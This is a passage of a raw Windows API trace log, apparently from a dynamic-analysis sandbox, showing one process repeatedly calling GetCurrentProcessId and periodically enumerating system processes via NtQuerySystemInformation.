0xbf4 [0262.646] GetCurrentProcessId () returned 0xbf4 [0262.646] GetCurrentProcessId () returned 0xbf4 [0262.646] GetCurrentProcessId () returned 0xbf4 [0263.268] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x1289b270, Length=0x20000, ResultLength=0x1b6beb00 | out: SystemInformation=0x1289b270, ResultLength=0x1b6beb00*=0x1cb30) returned 0x0 [0263.280] GetCurrentProcessId () returned 0xbf4 [0263.280] GetCurrentProcessId () returned 0xbf4 [0263.280] GetCurrentProcessId () returned 0xbf4 [0263.280] GetCurrentProcessId () returned 0xbf4 [0263.281] GetCurrentProcessId () returned 0xbf4 [0263.281] GetCurrentProcessId () returned 0xbf4 [0263.281] GetCurrentProcessId () returned 0xbf4 [0263.281] GetCurrentProcessId () returned 0xbf4 [0263.281] GetCurrentProcessId () returned 0xbf4 [0263.281] GetCurrentProcessId () returned 0xbf4 [0263.281] GetCurrentProcessId () returned 0xbf4 [0263.281] GetCurrentProcessId () returned 0xbf4 [0263.281] GetCurrentProcessId () returned 0xbf4 [0263.281] GetCurrentProcessId () returned 0xbf4 [0263.281] GetCurrentProcessId () returned 0xbf4 [0263.281] GetCurrentProcessId () returned 0xbf4 [0263.281] GetCurrentProcessId () returned 0xbf4 [0263.281] GetCurrentProcessId () returned 0xbf4 [0263.281] GetCurrentProcessId () returned 0xbf4 [0263.281] GetCurrentProcessId () returned 0xbf4 [0263.281] GetCurrentProcessId () returned 0xbf4 [0263.281] GetCurrentProcessId () returned 0xbf4 [0263.281] GetCurrentProcessId () returned 0xbf4 [0263.281] GetCurrentProcessId () returned 0xbf4 [0263.281] GetCurrentProcessId () returned 0xbf4 [0263.281] GetCurrentProcessId () returned 0xbf4 [0263.281] GetCurrentProcessId () returned 0xbf4 [0263.281] GetCurrentProcessId () returned 0xbf4 [0263.281] GetCurrentProcessId () returned 0xbf4 [0263.281] GetCurrentProcessId () returned 0xbf4 [0263.281] GetCurrentProcessId () returned 0xbf4 [0263.281] GetCurrentProcessId () returned 0xbf4 [0263.281] GetCurrentProcessId () returned 0xbf4 [0263.281] GetCurrentProcessId () returned 0xbf4 [0263.282] GetCurrentProcessId () returned 0xbf4 [0263.282] GetCurrentProcessId () returned 0xbf4 [0263.282] GetCurrentProcessId () returned 0xbf4 [0263.282] GetCurrentProcessId () returned 0xbf4 [0263.282] GetCurrentProcessId () returned 0xbf4 [0263.282] GetCurrentProcessId () returned 0xbf4 [0263.282] GetCurrentProcessId () returned 0xbf4 [0263.282] GetCurrentProcessId () returned 0xbf4 [0263.282] GetCurrentProcessId () returned 0xbf4 [0263.282] GetCurrentProcessId () returned 0xbf4 [0263.282] GetCurrentProcessId () returned 0xbf4 [0263.282] GetCurrentProcessId () returned 0xbf4 [0263.282] GetCurrentProcessId () returned 0xbf4 [0263.282] GetCurrentProcessId () returned 0xbf4 [0263.282] GetCurrentProcessId () returned 0xbf4 [0263.282] GetCurrentProcessId () returned 0xbf4 [0263.282] GetCurrentProcessId () returned 0xbf4 [0263.282] GetCurrentProcessId () returned 0xbf4 [0263.282] GetCurrentProcessId () returned 0xbf4 [0263.282] GetCurrentProcessId () returned 0xbf4 [0263.282] GetCurrentProcessId () returned 0xbf4 [0263.282] GetCurrentProcessId () returned 0xbf4 [0263.282] GetCurrentProcessId () returned 0xbf4 [0263.282] GetCurrentProcessId () returned 0xbf4 [0263.282] GetCurrentProcessId () returned 0xbf4 [0263.282] GetCurrentProcessId () returned 0xbf4 [0263.282] GetCurrentProcessId () returned 0xbf4 [0263.282] GetCurrentProcessId () returned 0xbf4 [0263.282] GetCurrentProcessId () returned 0xbf4 [0263.282] GetCurrentProcessId () returned 0xbf4 [0263.283] GetCurrentProcessId () returned 0xbf4 [0263.283] GetCurrentProcessId () returned 0xbf4 [0263.283] GetCurrentProcessId () returned 0xbf4 [0263.283] GetCurrentProcessId () returned 0xbf4 [0263.283] GetCurrentProcessId () returned 0xbf4 [0263.283] GetCurrentProcessId () returned 0xbf4 [0263.283] GetCurrentProcessId () returned 0xbf4 [0263.283] GetCurrentProcessId () returned 0xbf4 [0263.283] GetCurrentProcessId () returned 0xbf4 [0263.283] GetCurrentProcessId () returned 0xbf4 [0263.283] GetCurrentProcessId () returned 0xbf4 [0263.283] GetCurrentProcessId () returned 0xbf4 [0263.283] GetCurrentProcessId () returned 0xbf4 [0263.283] GetCurrentProcessId () returned 0xbf4 [0263.283] GetCurrentProcessId () returned 0xbf4 [0263.283] GetCurrentProcessId () returned 0xbf4 [0263.283] GetCurrentProcessId () returned 0xbf4 [0263.283] GetCurrentProcessId () returned 0xbf4 [0263.283] GetCurrentProcessId () returned 0xbf4 [0263.283] GetCurrentProcessId () returned 0xbf4 [0263.283] GetCurrentProcessId () returned 0xbf4 [0263.283] GetCurrentProcessId () returned 0xbf4 [0263.283] GetCurrentProcessId () returned 0xbf4 [0263.283] GetCurrentProcessId () returned 0xbf4 [0263.283] GetCurrentProcessId () returned 0xbf4 [0263.283] GetCurrentProcessId () returned 0xbf4 [0263.283] GetCurrentProcessId () returned 0xbf4 [0263.283] GetCurrentProcessId () returned 0xbf4 [0263.283] GetCurrentProcessId () returned 0xbf4 [0263.284] GetCurrentProcessId () returned 0xbf4 [0263.284] GetCurrentProcessId () returned 0xbf4 [0263.284] GetCurrentProcessId () returned 0xbf4 [0263.284] GetCurrentProcessId () returned 0xbf4 [0263.284] GetCurrentProcessId () returned 0xbf4 [0263.284] GetCurrentProcessId () returned 0xbf4 [0263.284] GetCurrentProcessId () returned 0xbf4 [0263.284] GetCurrentProcessId () returned 0xbf4 [0263.284] GetCurrentProcessId () returned 0xbf4 [0263.284] GetCurrentProcessId () returned 0xbf4 [0263.284] GetCurrentProcessId () returned 0xbf4 [0263.284] GetCurrentProcessId () returned 0xbf4 [0263.284] GetCurrentProcessId () returned 0xbf4 [0263.284] GetCurrentProcessId () returned 0xbf4 [0263.829] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x1289b270, Length=0x20000, ResultLength=0x1b6beb00 | out: SystemInformation=0x1289b270, ResultLength=0x1b6beb00*=0x1cb30) returned 0x0 [0263.835] GetCurrentProcessId () returned 0xbf4 [0263.835] GetCurrentProcessId () returned 0xbf4 [0263.835] GetCurrentProcessId () returned 0xbf4 [0263.835] GetCurrentProcessId () returned 0xbf4 [0263.835] GetCurrentProcessId () returned 0xbf4 [0263.835] GetCurrentProcessId () returned 0xbf4 [0263.835] GetCurrentProcessId () returned 0xbf4 [0263.835] GetCurrentProcessId () returned 0xbf4 [0263.835] GetCurrentProcessId () returned 0xbf4 [0263.835] GetCurrentProcessId () returned 0xbf4 [0263.836] GetCurrentProcessId () returned 0xbf4 [0263.836] GetCurrentProcessId () returned 0xbf4 [0263.836] GetCurrentProcessId () returned 0xbf4 [0263.836] GetCurrentProcessId () returned 0xbf4 [0263.836] GetCurrentProcessId () returned 0xbf4 [0263.836] GetCurrentProcessId () returned 0xbf4 [0263.836] GetCurrentProcessId () returned 0xbf4 [0263.836] GetCurrentProcessId () returned 0xbf4 [0263.836] GetCurrentProcessId () returned 0xbf4 [0263.836] GetCurrentProcessId () returned 0xbf4 [0263.836] GetCurrentProcessId () returned 0xbf4 [0263.836] GetCurrentProcessId () returned 0xbf4 [0263.836] GetCurrentProcessId () returned 0xbf4 [0263.836] GetCurrentProcessId () returned 0xbf4 [0263.836] GetCurrentProcessId () returned 0xbf4 [0263.836] GetCurrentProcessId () returned 0xbf4 [0263.836] GetCurrentProcessId () returned 0xbf4 [0263.836] GetCurrentProcessId () returned 0xbf4 [0263.836] GetCurrentProcessId () returned 0xbf4 [0263.836] GetCurrentProcessId () returned 0xbf4 [0263.836] GetCurrentProcessId () returned 0xbf4 [0263.836] GetCurrentProcessId () returned 0xbf4 [0263.836] GetCurrentProcessId () returned 0xbf4 [0263.836] GetCurrentProcessId () returned 0xbf4 [0263.836] GetCurrentProcessId () returned 0xbf4 [0263.836] GetCurrentProcessId () returned 0xbf4 [0263.836] GetCurrentProcessId () returned 0xbf4 [0263.836] GetCurrentProcessId () returned 0xbf4 [0263.837] GetCurrentProcessId () returned 0xbf4 [0263.837] GetCurrentProcessId () returned 0xbf4 [0263.837] GetCurrentProcessId () returned 0xbf4 [0263.837] GetCurrentProcessId () returned 0xbf4 [0263.837] GetCurrentProcessId () returned 0xbf4 [0263.837] GetCurrentProcessId () returned 0xbf4 [0263.837] GetCurrentProcessId () returned 0xbf4 [0263.837] GetCurrentProcessId () returned 0xbf4 [0263.837] GetCurrentProcessId () returned 0xbf4 [0263.837] GetCurrentProcessId () returned 0xbf4 [0263.837] GetCurrentProcessId () returned 0xbf4 [0263.837] GetCurrentProcessId () returned 0xbf4 [0263.837] GetCurrentProcessId () returned 0xbf4 [0263.837] GetCurrentProcessId () returned 0xbf4 [0263.837] GetCurrentProcessId () returned 0xbf4 [0263.837] GetCurrentProcessId () returned 0xbf4 [0263.837] GetCurrentProcessId () returned 0xbf4 [0263.837] GetCurrentProcessId () returned 0xbf4 [0263.837] GetCurrentProcessId () returned 0xbf4 [0263.837] GetCurrentProcessId () returned 0xbf4 [0263.837] GetCurrentProcessId () returned 0xbf4 [0263.837] GetCurrentProcessId () returned 0xbf4 [0263.837] GetCurrentProcessId () returned 0xbf4 [0263.837] GetCurrentProcessId () returned 0xbf4 [0263.837] GetCurrentProcessId () returned 0xbf4 [0263.837] GetCurrentProcessId () returned 0xbf4 [0263.837] GetCurrentProcessId () returned 0xbf4 [0263.837] GetCurrentProcessId () returned 0xbf4 [0263.838] GetCurrentProcessId () returned 0xbf4 [0263.838] GetCurrentProcessId () returned 0xbf4 [0263.838] GetCurrentProcessId () returned 0xbf4 [0263.838] GetCurrentProcessId () returned 0xbf4 [0263.838] GetCurrentProcessId () returned 0xbf4 [0263.838] GetCurrentProcessId () returned 0xbf4 [0263.838] GetCurrentProcessId () returned 0xbf4 [0263.838] GetCurrentProcessId () returned 0xbf4 [0263.838] GetCurrentProcessId () returned 0xbf4 [0263.838] GetCurrentProcessId () returned 0xbf4 [0263.838] GetCurrentProcessId () returned 0xbf4 [0263.838] GetCurrentProcessId () returned 0xbf4 [0263.838] GetCurrentProcessId () returned 0xbf4 [0263.838] GetCurrentProcessId () returned 0xbf4 [0263.838] GetCurrentProcessId () returned 0xbf4 [0263.838] GetCurrentProcessId () returned 0xbf4 [0263.838] GetCurrentProcessId () returned 0xbf4 [0263.838] GetCurrentProcessId () returned 0xbf4 [0263.838] GetCurrentProcessId () returned 0xbf4 [0263.838] GetCurrentProcessId () returned 0xbf4 [0263.838] GetCurrentProcessId () returned 0xbf4 [0263.838] GetCurrentProcessId () returned 0xbf4 [0263.838] GetCurrentProcessId () returned 0xbf4 [0263.838] GetCurrentProcessId () returned 0xbf4 [0263.838] GetCurrentProcessId () returned 0xbf4 [0263.838] GetCurrentProcessId () returned 0xbf4 [0263.838] GetCurrentProcessId () returned 0xbf4 [0263.838] GetCurrentProcessId () returned 0xbf4 [0263.839] GetCurrentProcessId () returned 0xbf4 [0263.839] GetCurrentProcessId () returned 0xbf4 [0263.839] GetCurrentProcessId () returned 0xbf4 [0263.839] GetCurrentProcessId () returned 0xbf4 [0263.839] GetCurrentProcessId () returned 0xbf4 [0263.839] GetCurrentProcessId () returned 0xbf4 [0263.839] GetCurrentProcessId () returned 0xbf4 [0263.839] GetCurrentProcessId () returned 0xbf4 [0263.839] GetCurrentProcessId () returned 0xbf4 [0263.839] GetCurrentProcessId () returned 0xbf4 [0263.839] GetCurrentProcessId () returned 0xbf4 [0263.839] GetCurrentProcessId () returned 0xbf4 [0263.839] GetCurrentProcessId () returned 0xbf4 [0264.351] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x1289b270, Length=0x20000, ResultLength=0x1b6beb00 | out: SystemInformation=0x1289b270, ResultLength=0x1b6beb00*=0x1cb30) returned 0x0 [0264.358] GetCurrentProcessId () returned 0xbf4 [0264.358] GetCurrentProcessId () returned 0xbf4 [0264.358] GetCurrentProcessId () returned 0xbf4 [0264.358] GetCurrentProcessId () returned 0xbf4 [0264.358] GetCurrentProcessId () returned 0xbf4 [0264.358] GetCurrentProcessId () returned 0xbf4 [0264.358] GetCurrentProcessId () returned 0xbf4 [0264.358] GetCurrentProcessId () returned 0xbf4 [0264.358] GetCurrentProcessId () returned 0xbf4 [0264.358] GetCurrentProcessId () returned 0xbf4 [0264.358] GetCurrentProcessId () returned 0xbf4 [0264.358] GetCurrentProcessId () returned 0xbf4 [0264.358] GetCurrentProcessId () returned 0xbf4 [0264.358] GetCurrentProcessId () returned 0xbf4 [0264.358] GetCurrentProcessId () returned 0xbf4 [0264.358] GetCurrentProcessId () returned 0xbf4 [0264.358] GetCurrentProcessId () returned 0xbf4 [0264.358] GetCurrentProcessId () returned 0xbf4 [0264.359] GetCurrentProcessId () returned 0xbf4 [0264.359] GetCurrentProcessId () returned 0xbf4 [0264.359] GetCurrentProcessId () returned 0xbf4 [0264.359] GetCurrentProcessId () returned 0xbf4 [0264.359] GetCurrentProcessId () returned 0xbf4 [0264.359] GetCurrentProcessId () returned 0xbf4 [0264.359] GetCurrentProcessId () returned 0xbf4 [0264.359] GetCurrentProcessId () returned 0xbf4 [0264.359] GetCurrentProcessId () returned 0xbf4 [0264.359] GetCurrentProcessId () returned 0xbf4 [0264.359] GetCurrentProcessId () returned 0xbf4 [0264.359] GetCurrentProcessId () returned 0xbf4 [0264.359] GetCurrentProcessId () returned 0xbf4 [0264.359] GetCurrentProcessId () returned 0xbf4 [0264.359] GetCurrentProcessId () returned 0xbf4 [0264.359] GetCurrentProcessId () returned 0xbf4 [0264.359] GetCurrentProcessId () returned 0xbf4 [0264.359] GetCurrentProcessId () returned 0xbf4 [0264.359] GetCurrentProcessId () returned 0xbf4 [0264.359] GetCurrentProcessId () returned 0xbf4 [0264.359] GetCurrentProcessId () returned 0xbf4 [0264.359] GetCurrentProcessId () returned 0xbf4 [0264.359] GetCurrentProcessId () returned 0xbf4 [0264.359] GetCurrentProcessId () returned 0xbf4 [0264.359] GetCurrentProcessId () returned 0xbf4 [0264.359] GetCurrentProcessId () returned 0xbf4 [0264.359] GetCurrentProcessId () returned 0xbf4 [0264.359] GetCurrentProcessId () returned 0xbf4 [0264.359] GetCurrentProcessId () returned 0xbf4 [0264.359] GetCurrentProcessId () returned 0xbf4 [0264.359] GetCurrentProcessId () returned 0xbf4 [0264.359] GetCurrentProcessId () returned 0xbf4 [0264.359] GetCurrentProcessId () returned 0xbf4 [0264.359] GetCurrentProcessId () returned 0xbf4 [0264.359] GetCurrentProcessId () returned 0xbf4 [0264.359] GetCurrentProcessId () returned 0xbf4 [0264.359] GetCurrentProcessId () returned 0xbf4 [0264.359] GetCurrentProcessId () returned 0xbf4 [0264.360] GetCurrentProcessId () returned 0xbf4 [0264.360] GetCurrentProcessId () returned 0xbf4 [0264.360] GetCurrentProcessId () returned 0xbf4 [0264.360] GetCurrentProcessId () returned 0xbf4 [0264.360] GetCurrentProcessId () returned 0xbf4 [0264.360] GetCurrentProcessId () returned 0xbf4 [0264.360] GetCurrentProcessId () returned 0xbf4 [0264.360] GetCurrentProcessId () returned 0xbf4 [0264.360] GetCurrentProcessId () returned 0xbf4 [0264.360] GetCurrentProcessId () returned 0xbf4 [0264.360] GetCurrentProcessId () returned 0xbf4 [0264.360] GetCurrentProcessId () returned 0xbf4 [0264.360] GetCurrentProcessId () returned 0xbf4 [0264.360] GetCurrentProcessId () returned 0xbf4 [0264.360] GetCurrentProcessId () returned 0xbf4 [0264.360] GetCurrentProcessId () returned 0xbf4 [0264.360] GetCurrentProcessId () returned 0xbf4 [0264.360] GetCurrentProcessId () returned 0xbf4 [0264.360] GetCurrentProcessId () returned 0xbf4 [0264.360] GetCurrentProcessId () returned 0xbf4 [0264.360] GetCurrentProcessId () returned 0xbf4 [0264.360] GetCurrentProcessId () returned 0xbf4 [0264.360] GetCurrentProcessId () returned 0xbf4 [0264.360] GetCurrentProcessId () returned 0xbf4 [0264.360] GetCurrentProcessId () returned 0xbf4 [0264.360] GetCurrentProcessId () returned 0xbf4 [0264.360] GetCurrentProcessId () returned 0xbf4 [0264.360] GetCurrentProcessId () returned 0xbf4 [0264.360] GetCurrentProcessId () returned 0xbf4 [0264.360] GetCurrentProcessId () returned 0xbf4 [0264.360] GetCurrentProcessId () returned 0xbf4 [0264.360] GetCurrentProcessId () returned 0xbf4 [0264.360] GetCurrentProcessId () returned 0xbf4 [0264.360] GetCurrentProcessId () returned 0xbf4 [0264.360] GetCurrentProcessId () returned 0xbf4 [0264.360] GetCurrentProcessId () returned 0xbf4 [0264.360] GetCurrentProcessId () returned 0xbf4 [0264.361] GetCurrentProcessId () returned 0xbf4 [0264.361] GetCurrentProcessId () returned 0xbf4 [0264.361] GetCurrentProcessId () returned 0xbf4 [0264.361] GetCurrentProcessId () returned 0xbf4 [0264.361] GetCurrentProcessId () returned 0xbf4 [0264.361] GetCurrentProcessId () returned 0xbf4 [0264.361] GetCurrentProcessId () returned 0xbf4 [0264.361] GetCurrentProcessId () returned 0xbf4 [0264.361] GetCurrentProcessId () returned 0xbf4 [0264.361] GetCurrentProcessId () returned 0xbf4 [0264.361] GetCurrentProcessId () returned 0xbf4 [0264.361] GetCurrentProcessId () returned 0xbf4 [0264.361] GetCurrentProcessId () returned 0xbf4 [0264.361] GetCurrentProcessId () returned 0xbf4 [0265.080] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x1289b270, Length=0x20000, ResultLength=0x1b6beb00 | out: SystemInformation=0x1289b270, ResultLength=0x1b6beb00*=0x1c9a0) returned 0x0 [0265.085] GetCurrentProcessId () returned 0xbf4 [0265.085] GetCurrentProcessId () returned 0xbf4 [0265.085] GetCurrentProcessId () returned 0xbf4 [0265.085] GetCurrentProcessId () returned 0xbf4 [0265.085] GetCurrentProcessId () returned 0xbf4 [0265.085] GetCurrentProcessId () returned 0xbf4 [0265.085] GetCurrentProcessId () returned 0xbf4 [0265.085] GetCurrentProcessId () returned 0xbf4 [0265.085] GetCurrentProcessId () returned 0xbf4 [0265.085] GetCurrentProcessId () returned 0xbf4 [0265.086] GetCurrentProcessId () returned 0xbf4 [0265.086] GetCurrentProcessId () returned 0xbf4 [0265.086] GetCurrentProcessId () returned 0xbf4 [0265.086] GetCurrentProcessId () returned 0xbf4 [0265.086] GetCurrentProcessId () returned 0xbf4 [0265.086] GetCurrentProcessId () returned 0xbf4 [0265.086] GetCurrentProcessId () returned 0xbf4 [0265.086] GetCurrentProcessId () returned 0xbf4 [0265.086] GetCurrentProcessId () returned 0xbf4 [0265.086] GetCurrentProcessId () returned 0xbf4 [0265.086] GetCurrentProcessId () returned 0xbf4 [0265.086] GetCurrentProcessId () returned 0xbf4 [0265.086] GetCurrentProcessId () returned 0xbf4 [0265.086] GetCurrentProcessId () returned 0xbf4 [0265.086] GetCurrentProcessId () returned 0xbf4 [0265.086] GetCurrentProcessId () returned 0xbf4 [0265.086] GetCurrentProcessId () returned 0xbf4 [0265.086] GetCurrentProcessId () returned 0xbf4 [0265.086] GetCurrentProcessId () returned 0xbf4 [0265.086] GetCurrentProcessId () returned 0xbf4 [0265.086] GetCurrentProcessId () returned 0xbf4 [0265.086] GetCurrentProcessId () returned 0xbf4 [0265.086] GetCurrentProcessId () returned 0xbf4 [0265.086] GetCurrentProcessId () returned 0xbf4 [0265.086] GetCurrentProcessId () returned 0xbf4 [0265.086] GetCurrentProcessId () returned 0xbf4 [0265.086] GetCurrentProcessId () returned 0xbf4 [0265.086] GetCurrentProcessId () returned 0xbf4 [0265.086] GetCurrentProcessId () returned 0xbf4 [0265.087] GetCurrentProcessId () returned 0xbf4 [0265.087] GetCurrentProcessId () returned 0xbf4 [0265.087] GetCurrentProcessId () returned 0xbf4 [0265.087] GetCurrentProcessId () returned 0xbf4 [0265.087] GetCurrentProcessId () returned 0xbf4 [0265.087] GetCurrentProcessId () returned 0xbf4 [0265.087] GetCurrentProcessId () returned 0xbf4 [0265.087] GetCurrentProcessId () returned 0xbf4 [0265.087] GetCurrentProcessId () returned 0xbf4 [0265.087] GetCurrentProcessId () returned 0xbf4 [0265.087] GetCurrentProcessId () returned 0xbf4 [0265.087] GetCurrentProcessId () returned 0xbf4 [0265.087] GetCurrentProcessId () returned 0xbf4 [0265.087] GetCurrentProcessId () returned 0xbf4 [0265.087] GetCurrentProcessId () returned 0xbf4 [0265.087] GetCurrentProcessId () returned 0xbf4 [0265.087] GetCurrentProcessId () returned 0xbf4 [0265.087] GetCurrentProcessId () returned 0xbf4 [0265.087] GetCurrentProcessId () returned 0xbf4 [0265.087] GetCurrentProcessId () returned 0xbf4 [0265.087] GetCurrentProcessId () returned 0xbf4 [0265.087] GetCurrentProcessId () returned 0xbf4 [0265.087] GetCurrentProcessId () returned 0xbf4 [0265.087] GetCurrentProcessId () returned 0xbf4 [0265.087] GetCurrentProcessId () returned 0xbf4 [0265.087] GetCurrentProcessId () returned 0xbf4 [0265.087] GetCurrentProcessId () returned 0xbf4 [0265.087] GetCurrentProcessId () returned 0xbf4 [0265.088] GetCurrentProcessId () returned 0xbf4 [0265.088] GetCurrentProcessId () returned 0xbf4 [0265.088] GetCurrentProcessId () returned 0xbf4 [0265.088] GetCurrentProcessId () returned 0xbf4 [0265.088] GetCurrentProcessId () returned 0xbf4 [0265.088] GetCurrentProcessId () returned 0xbf4 [0265.088] GetCurrentProcessId () returned 0xbf4 [0265.088] GetCurrentProcessId () returned 0xbf4 [0265.088] GetCurrentProcessId () returned 0xbf4 [0265.088] GetCurrentProcessId () returned 0xbf4 [0265.088] GetCurrentProcessId () returned 0xbf4 [0265.088] GetCurrentProcessId () returned 0xbf4 [0265.088] GetCurrentProcessId () returned 0xbf4 [0265.088] GetCurrentProcessId () returned 0xbf4 [0265.088] GetCurrentProcessId () returned 0xbf4 [0265.088] GetCurrentProcessId () returned 0xbf4 [0265.088] GetCurrentProcessId () returned 0xbf4 [0265.088] GetCurrentProcessId () returned 0xbf4 [0265.088] GetCurrentProcessId () returned 0xbf4 [0265.088] GetCurrentProcessId () returned 0xbf4 [0265.088] GetCurrentProcessId () returned 0xbf4 [0265.088] GetCurrentProcessId () returned 0xbf4 [0265.088] GetCurrentProcessId () returned 0xbf4 [0265.088] GetCurrentProcessId () returned 0xbf4 [0265.088] GetCurrentProcessId () returned 0xbf4 [0265.088] GetCurrentProcessId () returned 0xbf4 [0265.088] GetCurrentProcessId () returned 0xbf4 [0265.088] GetCurrentProcessId () returned 0xbf4 [0265.089] GetCurrentProcessId () returned 0xbf4 [0265.089] GetCurrentProcessId () returned 0xbf4 [0265.089] GetCurrentProcessId () returned 0xbf4 [0265.089] GetCurrentProcessId () returned 0xbf4 [0265.089] GetCurrentProcessId () returned 0xbf4 [0265.089] GetCurrentProcessId () returned 0xbf4 [0265.089] GetCurrentProcessId () returned 0xbf4 [0265.089] GetCurrentProcessId () returned 0xbf4 [0265.089] GetCurrentProcessId () returned 0xbf4 [0265.089] GetCurrentProcessId () returned 0xbf4 [0265.089] GetCurrentProcessId () returned 0xbf4 [0265.089] GetCurrentProcessId () returned 0xbf4 [0265.712] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x1289b270, Length=0x20000, ResultLength=0x1b6beb00 | out: SystemInformation=0x1289b270, ResultLength=0x1b6beb00*=0x1c9a0) returned 0x0 [0265.758] GetCurrentProcessId () returned 0xbf4 [0265.758] GetCurrentProcessId () returned 0xbf4 [0265.758] GetCurrentProcessId () returned 0xbf4 [0265.758] GetCurrentProcessId () returned 0xbf4 [0265.758] GetCurrentProcessId () returned 0xbf4 [0265.758] GetCurrentProcessId () returned 0xbf4 [0265.758] GetCurrentProcessId () returned 0xbf4 [0265.758] GetCurrentProcessId () returned 0xbf4 [0265.759] GetCurrentProcessId () returned 0xbf4 [0265.759] GetCurrentProcessId () returned 0xbf4 [0265.759] GetCurrentProcessId () returned 0xbf4 [0265.759] GetCurrentProcessId () returned 0xbf4 [0265.759] GetCurrentProcessId () returned 0xbf4 [0265.759] GetCurrentProcessId () returned 0xbf4 [0265.759] GetCurrentProcessId () returned 0xbf4 [0265.759] GetCurrentProcessId () returned 0xbf4 [0265.759] GetCurrentProcessId () returned 0xbf4 [0265.759] GetCurrentProcessId () returned 0xbf4 [0265.759] GetCurrentProcessId () returned 0xbf4 [0265.759] GetCurrentProcessId () returned 0xbf4 [0265.759] GetCurrentProcessId () returned 0xbf4 [0265.759] GetCurrentProcessId () returned 0xbf4 [0265.759] GetCurrentProcessId () returned 0xbf4 [0265.759] GetCurrentProcessId () returned 0xbf4 [0265.759] GetCurrentProcessId () returned 0xbf4 [0265.759] GetCurrentProcessId () returned 0xbf4 [0265.759] GetCurrentProcessId () returned 0xbf4 [0265.759] GetCurrentProcessId () returned 0xbf4 [0265.759] GetCurrentProcessId () returned 0xbf4 [0265.759] GetCurrentProcessId () returned 0xbf4 [0265.759] GetCurrentProcessId () returned 0xbf4 [0265.759] GetCurrentProcessId () returned 0xbf4 [0265.759] GetCurrentProcessId () returned 0xbf4 [0265.759] GetCurrentProcessId () returned 0xbf4 [0265.759] GetCurrentProcessId () returned 0xbf4 [0265.759] GetCurrentProcessId () returned 0xbf4 [0265.760] GetCurrentProcessId () returned 0xbf4 [0265.760] GetCurrentProcessId () returned 0xbf4 [0265.760] GetCurrentProcessId () returned 0xbf4 [0265.760] GetCurrentProcessId () returned 0xbf4 [0265.760] GetCurrentProcessId () returned 0xbf4 [0265.760] GetCurrentProcessId () returned 0xbf4 [0265.760] GetCurrentProcessId () returned 0xbf4 [0265.760] GetCurrentProcessId () returned 0xbf4 [0265.760] GetCurrentProcessId () returned 0xbf4 [0265.760] GetCurrentProcessId () returned 0xbf4 [0265.760] GetCurrentProcessId () returned 0xbf4 [0265.760] GetCurrentProcessId () returned 0xbf4 [0265.760] GetCurrentProcessId () returned 0xbf4 [0265.760] GetCurrentProcessId () returned 0xbf4 [0265.760] GetCurrentProcessId () returned 0xbf4 [0265.760] GetCurrentProcessId () returned 0xbf4 [0265.760] GetCurrentProcessId () returned 0xbf4 [0265.760] GetCurrentProcessId () returned 0xbf4 [0265.760] GetCurrentProcessId () returned 0xbf4 [0265.760] GetCurrentProcessId () returned 0xbf4 [0265.760] GetCurrentProcessId () returned 0xbf4 [0265.760] GetCurrentProcessId () returned 0xbf4 [0265.760] GetCurrentProcessId () returned 0xbf4 [0265.760] GetCurrentProcessId () returned 0xbf4 [0265.760] GetCurrentProcessId () returned 0xbf4 [0265.760] GetCurrentProcessId () returned 0xbf4 [0265.760] GetCurrentProcessId () returned 0xbf4 [0265.760] GetCurrentProcessId () returned 0xbf4 [0265.760] GetCurrentProcessId () returned 0xbf4 [0265.761] GetCurrentProcessId () returned 0xbf4 [0265.761] GetCurrentProcessId () returned 0xbf4 [0265.761] GetCurrentProcessId () returned 0xbf4 [0265.761] GetCurrentProcessId () returned 0xbf4 [0265.761] GetCurrentProcessId () returned 0xbf4 [0265.761] GetCurrentProcessId () returned 0xbf4 [0265.761] GetCurrentProcessId () returned 0xbf4 [0265.761] GetCurrentProcessId () returned 0xbf4 [0265.761] GetCurrentProcessId () returned 0xbf4 [0265.761] GetCurrentProcessId () returned 0xbf4 [0265.761] GetCurrentProcessId () returned 0xbf4 [0265.761] GetCurrentProcessId () returned 0xbf4 [0265.761] GetCurrentProcessId () returned 0xbf4 [0265.761] GetCurrentProcessId () returned 0xbf4 [0265.761] GetCurrentProcessId () returned 0xbf4 [0265.761] GetCurrentProcessId () returned 0xbf4 [0265.761] GetCurrentProcessId () returned 0xbf4 [0265.761] GetCurrentProcessId () returned 0xbf4 [0265.761] GetCurrentProcessId () returned 0xbf4 [0265.761] GetCurrentProcessId () returned 0xbf4 [0265.761] GetCurrentProcessId () returned 0xbf4 [0265.761] GetCurrentProcessId () returned 0xbf4 [0265.761] GetCurrentProcessId () returned 0xbf4 [0265.762] GetCurrentProcessId () returned 0xbf4 [0265.762] GetCurrentProcessId () returned 0xbf4 [0265.762] GetCurrentProcessId () returned 0xbf4 [0265.762] GetCurrentProcessId () returned 0xbf4 [0265.762] GetCurrentProcessId () returned 0xbf4 [0265.762] GetCurrentProcessId () returned 0xbf4 [0265.762] GetCurrentProcessId () returned 0xbf4 [0265.762] GetCurrentProcessId () returned 0xbf4 [0265.762] GetCurrentProcessId () returned 0xbf4 [0265.762] GetCurrentProcessId () returned 0xbf4 [0265.762] GetCurrentProcessId () returned 0xbf4 [0265.762] GetCurrentProcessId () returned 0xbf4 [0265.762] GetCurrentProcessId () returned 0xbf4 [0265.762] GetCurrentProcessId () returned 0xbf4 [0265.762] GetCurrentProcessId () returned 0xbf4 [0265.762] GetCurrentProcessId () returned 0xbf4 [0265.762] GetCurrentProcessId () returned 0xbf4 [0265.762] GetCurrentProcessId () returned 0xbf4 [0265.762] GetCurrentProcessId () returned 0xbf4 [0266.310] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x1289b270, Length=0x20000, ResultLength=0x1b6beb00 | out: SystemInformation=0x1289b270, ResultLength=0x1b6beb00*=0x1c9a0) returned 0x0 [0266.339] GetCurrentProcessId () returned 0xbf4 [0266.339] GetCurrentProcessId () returned 0xbf4 [0266.339] GetCurrentProcessId () returned 0xbf4 [0266.339] GetCurrentProcessId () returned 0xbf4 [0266.348] GetCurrentProcessId () returned 0xbf4 [0266.527] GetCurrentProcessId () returned 0xbf4 [0266.528] GetCurrentProcessId () returned 0xbf4 [0266.528] GetCurrentProcessId () returned 0xbf4 [0266.528] GetCurrentProcessId () returned 0xbf4 [0266.528] GetCurrentProcessId () returned 0xbf4 [0266.528] GetCurrentProcessId () returned 0xbf4 [0266.528] 